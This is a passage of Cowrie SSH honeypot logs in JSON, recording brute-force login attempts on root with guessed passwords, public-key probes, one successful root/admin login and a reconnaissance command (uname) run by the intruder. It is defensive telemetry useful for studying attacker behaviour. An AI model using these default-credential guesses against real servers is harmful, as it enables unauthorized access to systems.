man-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:17.696949Z","src_ip":"31.59.89.180","session":"6ddc0fdc5ffd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:18.187392Z","src_ip":"31.59.89.180","session":"6ddc0fdc5ffd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:19.302683Z","src_ip":"31.59.89.180","session":"6ddc0fdc5ffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":56320,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c4084aa3f30","protocol":"ssh","message":"New connection: 61.222.211.114:56320 (159.203.135.109:22) [session: 8c4084aa3f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:23.598008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:23.603519Z","src_ip":"61.222.211.114","session":"8c4084aa3f30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:23.816314Z","src_ip":"61.222.211.114","session":"8c4084aa3f30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rayda@2017","message":"login attempt [root/Rayda@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:24.695486Z","src_ip":"61.222.211.114","session":"8c4084aa3f30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":20690,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b43aa8b8c80","protocol":"ssh","message":"New connection: 118.26.36.248:20690 (159.203.135.109:22) [session: 1b43aa8b8c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:25.609566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:25.614701Z","src_ip":"118.26.36.248","session":"1b43aa8b8c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:25.839672Z","src_ip":"118.26.36.248","session":"1b43aa8b8c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:25.911527Z","src_ip":"61.222.211.114","session":"8c4084aa3f30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@2017","message":"login attempt [root/Admin@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:26.769167Z","src_ip":"118.26.36.248","session":"1b43aa8b8c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:27.996976Z","src_ip":"118.26.36.248","session":"1b43aa8b8c80","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:32.801356Z","src_ip":"47.86.95.62","session":"ccd0da218b54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.233.116.94","src_port":52808,"dst_ip":"10.17.0.5","dst_port":22,"session":"51c3380fb5f5","protocol":"ssh","message":"New connection: 91.233.116.94:52808 (10.17.0.5:22) [session: 51c3380fb5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:37.355893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:37.360689Z","src_ip":"91.233.116.94","session":"51c3380fb5f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:37.458275Z","src_ip":"91.233.116.94","session":"51c3380fb5f5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:26:d5:9b:d1:7b:73:fe:4f:97:39:1c:56:0a:72:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxqgiEhmci4UAHM5Qz4f3/K3B37qfTNnylKv8xDQ3QzZjjFSpNzE4PzAo0lzPSs7QJktjA82aZEn3RoTs9TPmkIvzax5YnD0GXTIHwVuchaiAm8pMm2r9W2C7ePphhMwL/YC8sH5IxfTSdVkAxyNhN4/wLAC3lNzpcGjYPbiO2ljH+CSvVJK900TOBTkQYM6JcjiqByWP9OyO1BC065qf1bVFcy+W1cjuH9jFfsJxWCW+D9RA2uA3bHodCwTkuSRpmngK1M8q7RUplScCel5GyOk7KR/HyVspM5szu6Eh+CkPFf5dHbdxKaifAaSKT8Ezk5e88vEFAg4rI2gaEbbc1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:26:d5:9b:d1:7b:73:fe:4f:97:39:1c:56:0a:72:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:37.926166Z","src_ip":"91.233.116.94","session":"51c3380fb5f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:26:d5:9b:d1:7b:73:fe:4f:97:39:1c:56:0a:72:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxqgiEhmci4UAHM5Qz4f3/K3B37qfTNnylKv8xDQ3QzZjjFSpNzE4PzAo0lzPSs7QJktjA82aZEn3RoTs9TPmkIvzax5YnD0GXTIHwVuchaiAm8pMm2r9W2C7ePphhMwL/YC8sH5IxfTSdVkAxyNhN4/wLAC3lNzpcGjYPbiO2ljH+CSvVJK900TOBTkQYM6JcjiqByWP9OyO1BC065qf1bVFcy+W1cjuH9jFfsJxWCW+D9RA2uA3bHodCwTkuSRpmngK1M8q7RUplScCel5GyOk7KR/HyVspM5szu6Eh+CkPFf5dHbdxKaifAaSKT8Ezk5e88vEFAg4rI2gaEbbc1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:37.929987Z","src_ip":"91.233.116.94","session":"51c3380fb5f5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:a2:d4:c2:b7:f5:a8:c2:00:f1:fb:1e:cf:8e:7f:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3Iu11MxZyjBAI6aTv3FnE36TkWx9cMTRBEQqJOcj5VS/GxrFRKulHUUVK4fkGYt7qIV8f91VFFpFZEa4Gedh7mkB8v+In5MwrwGwIlNv31X5ZKSrIHTGVNzA0PgPDfqx5kPypMBQ43ir8aMxhDVC0eKHWsmGwEpEyARmJBkLOXcibjWz60AeTQXqDS5rOH5KQ8nqErmNyVgADmB4UL8LMQDpsxn9W+W4lOW8zlhRJQ0qqTfqOIFNw0z1Lu5pKwPDIddg/ru+51d3kCe/6vBcnyUWCTmOmx73bjZ26MWidTioqGD13CpNdED8ItMJowpJ6GUl2o+WHNaqZ90Ls+YoP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:a2:d4:c2:b7:f5:a8:c2:00:f1:fb:1e:cf:8e:7f:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:38.027928Z","src_ip":"91.233.116.94","session":"51c3380fb5f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:a2:d4:c2:b7:f5:a8:c2:00:f1:fb:1e:cf:8e:7f:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3Iu11MxZyjBAI6aTv3FnE36TkWx9cMTRBEQqJOcj5VS/GxrFRKulHUUVK4fkGYt7qIV8f91VFFpFZEa4Gedh7mkB8v+In5MwrwGwIlNv31X5ZKSrIHTGVNzA0PgPDfqx5kPypMBQ43ir8aMxhDVC0eKHWsmGwEpEyARmJBkLOXcibjWz60AeTQXqDS5rOH5KQ8nqErmNyVgADmB4UL8LMQDpsxn9W+W4lOW8zlhRJQ0qqTfqOIFNw0z1Lu5pKwPDIddg/ru+51d3kCe/6vBcnyUWCTmOmx73bjZ26MWidTioqGD13CpNdED8ItMJowpJ6GUl2o+WHNaqZ90Ls+YoP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:38.032618Z","src_ip":"91.233.116.94","session":"51c3380fb5f5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:1e:5b:cf:08:61:8f:43:f1:1f:cd:bc:a5:03:44:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmwXQV+RNhUBQLlQ9qZFVdMZH1RSWK0xUnUbMwmLZcFt1vnl4ifoGz/petou7nTonDzlZTxR4IGBe4//f4O0ZkNX0KMY75dt0WRHAepUYINUYlbVS9RRoAUqO2Tv8OODmL0YiqBwWhEtUx5YZ49oXuKKBQKm2IgUHnkJk5OcqPWAqSWh3tIGpY7s5ycE9P7ROi1SMRvIP1e8m/a3JuR1GxTBiaN/Zr5xkKSplzwuPX5IQCPOlRO2EYc5uNI6+ExT5f1d3y3h/1nCunquXs/XSa8WuadmIX6QxKWlWvi5d1kx/MpGwfJQgGvtihzeAVqWqAjJk0ZWZWHn3+r/3XxaDbQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:1e:5b:cf:08:61:8f:43:f1:1f:cd:bc:a5:03:44:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:38.133819Z","src_ip":"91.233.116.94","session":"51c3380fb5f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:1e:5b:cf:08:61:8f:43:f1:1f:cd:bc:a5:03:44:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmwXQV+RNhUBQLlQ9qZFVdMZH1RSWK0xUnUbMwmLZcFt1vnl4ifoGz/petou7nTonDzlZTxR4IGBe4//f4O0ZkNX0KMY75dt0WRHAepUYINUYlbVS9RRoAUqO2Tv8OODmL0YiqBwWhEtUx5YZ49oXuKKBQKm2IgUHnkJk5OcqPWAqSWh3tIGpY7s5ycE9P7ROi1SMRvIP1e8m/a3JuR1GxTBiaN/Zr5xkKSplzwuPX5IQCPOlRO2EYc5uNI6+ExT5f1d3y3h/1nCunquXs/XSa8WuadmIX6QxKWlWvi5d1kx/MpGwfJQgGvtihzeAVqWqAjJk0ZWZWHn3+r/3XxaDbQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:38.138022Z","src_ip":"91.233.116.94","session":"51c3380fb5f5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:f9:81:63:ad:54:60:56:5f:7d:46:52:2c:d6:9e:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPIJM8qzU3IS/G6Tl+lOjsO1yhVp7yTfAZuWfAuw0wSmmqRY344eVr3nC5sfGCqI3RZU5Bn/cVzOLnwmpxA7Ng48rr/vF0zige2jNVREA+Wc1iZ5VnE8GVorTnH95tllaPV+1AI2RJ6kbL6pqNbs33BxzSCdqOwvIQkv/UxGurrnmEcCs5RGO/Im2dIjNe+wH3flz2n301ZTZHoVYmtJX7k8DDEKJ+oUNzqrQWPb2hKesFFrO+s0K0MJZHvHMpa13NgguVEt0Ep+9LRtyoCyOA1p/9bwudcKDoAnDkX9q5Tp9siUXm4dn5nci+F9L0PVYs1RMwYVB9D3tMZUouXz8H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:f9:81:63:ad:54:60:56:5f:7d:46:52:2c:d6:9e:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:38.235948Z","src_ip":"91.233.116.94","session":"51c3380fb5f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:f9:81:63:ad:54:60:56:5f:7d:46:52:2c:d6:9e:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPIJM8qzU3IS/G6Tl+lOjsO1yhVp7yTfAZuWfAuw0wSmmqRY344eVr3nC5sfGCqI3RZU5Bn/cVzOLnwmpxA7Ng48rr/vF0zige2jNVREA+Wc1iZ5VnE8GVorTnH95tllaPV+1AI2RJ6kbL6pqNbs33BxzSCdqOwvIQkv/UxGurrnmEcCs5RGO/Im2dIjNe+wH3flz2n301ZTZHoVYmtJX7k8DDEKJ+oUNzqrQWPb2hKesFFrO+s0K0MJZHvHMpa13NgguVEt0Ep+9LRtyoCyOA1p/9bwudcKDoAnDkX9q5Tp9siUXm4dn5nci+F9L0PVYs1RMwYVB9D3tMZUouXz8H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:38.239930Z","src_ip":"91.233.116.94","session":"51c3380fb5f5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:14:93:73:ea:3a:fa:83:ec:0f:93:1e:64:ab:be:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDA6EE6MXdtGBOyJUJvBqlDueKd5hm+eEw+nDJFOIHya1QbHSScv9yBSLfoawmT8p8IbWAbaIjgcaaPrMxI1TM/AgPTe5oR+KCB36C+jR6waSAFs3CxOioSzfBAnYKb6u7ZgCLGvn3QxmyyJzE2gOluqhy8kGge7UVXI/KtIJxpxhPl+ygq3ZRUfyLvb7L9lUvCTOSl3GnWXEE5mAMqY9pSurRR6LYy0ch1iwqe0PQw+NQczFQcjqmBXovw+lnFR5Dkhk4D8PPcNs2jfbjXxETa5KmqssOp5YgFs6gF70lLE6ZIVAJAAU/tidnQ9XuKMoqCV4KNFwHU0HjcMmOgOP6s8UpyNdsC5cp+fAlahyZB8i5rpIbv/zHnzjSJrK9LLYhKWQt+43moGENtaF6RyRVboscDdyj/Ff79gxhF5p/GliL+6dG6tL6og6aZSIMNan2YJhMqTDQCHZy0nHd2mO8jLjrvUAbPJNXWlGqk+mmR3LiPumo0TjVdQLehzZmhZN8kG8fCnAVnAoA683fwqY8QfHbOwem7XEo37lGoHm98LRifREkyj7fOfUuTtcM/Scl3Hp8UkgzoagVh4G5V5JXokeq6cOL+DuyDbZYdpah8glE6PlcBLiBO09o/lKLk7fJsbzJkV5Rp/9M4Fh2jROlxbQWEapWLmTieS0YDmuqTXw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:14:93:73:ea:3a:fa:83:ec:0f:93:1e:64:ab:be:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:38.338139Z","src_ip":"91.233.116.94","session":"51c3380fb5f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:14:93:73:ea:3a:fa:83:ec:0f:93:1e:64:ab:be:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDA6EE6MXdtGBOyJUJvBqlDueKd5hm+eEw+nDJFOIHya1QbHSScv9yBSLfoawmT8p8IbWAbaIjgcaaPrMxI1TM/AgPTe5oR+KCB36C+jR6waSAFs3CxOioSzfBAnYKb6u7ZgCLGvn3QxmyyJzE2gOluqhy8kGge7UVXI/KtIJxpxhPl+ygq3ZRUfyLvb7L9lUvCTOSl3GnWXEE5mAMqY9pSurRR6LYy0ch1iwqe0PQw+NQczFQcjqmBXovw+lnFR5Dkhk4D8PPcNs2jfbjXxETa5KmqssOp5YgFs6gF70lLE6ZIVAJAAU/tidnQ9XuKMoqCV4KNFwHU0HjcMmOgOP6s8UpyNdsC5cp+fAlahyZB8i5rpIbv/zHnzjSJrK9LLYhKWQt+43moGENtaF6RyRVboscDdyj/Ff79gxhF5p/GliL+6dG6tL6og6aZSIMNan2YJhMqTDQCHZy0nHd2mO8jLjrvUAbPJNXWlGqk+mmR3LiPumo0TjVdQLehzZmhZN8kG8fCnAVnAoA683fwqY8QfHbOwem7XEo37lGoHm98LRifREkyj7fOfUuTtcM/Scl3Hp8UkgzoagVh4G5V5JXokeq6cOL+DuyDbZYdpah8glE6PlcBLiBO09o/lKLk7fJsbzJkV5Rp/9M4Fh2jROlxbQWEapWLmTieS0YDmuqTXw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:38.341788Z","src_ip":"91.233.116.94","session":"51c3380fb5f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:38.439359Z","src_ip":"91.233.116.94","session":"51c3380fb5f5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:41.845074Z","src_ip":"47.86.95.62","session":"ccd0da218b54","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:41.848682Z","src_ip":"47.86.95.62","session":"ccd0da218b54","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"3.4","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:45.206167Z","src_ip":"47.86.95.62","session":"ccd0da218b54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"106.9","message":"Connection lost after 106.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:45.211176Z","src_ip":"47.86.95.62","session":"ccd0da218b54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":34848,"dst_ip":"10.17.0.5","dst_port":22,"session":"a723f142dfad","protocol":"ssh","message":"New connection: 20.12.41.6:34848 (10.17.0.5:22) [session: a723f142dfad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:52.576852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:25:52.581652Z","src_ip":"20.12.41.6","session":"a723f142dfad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openss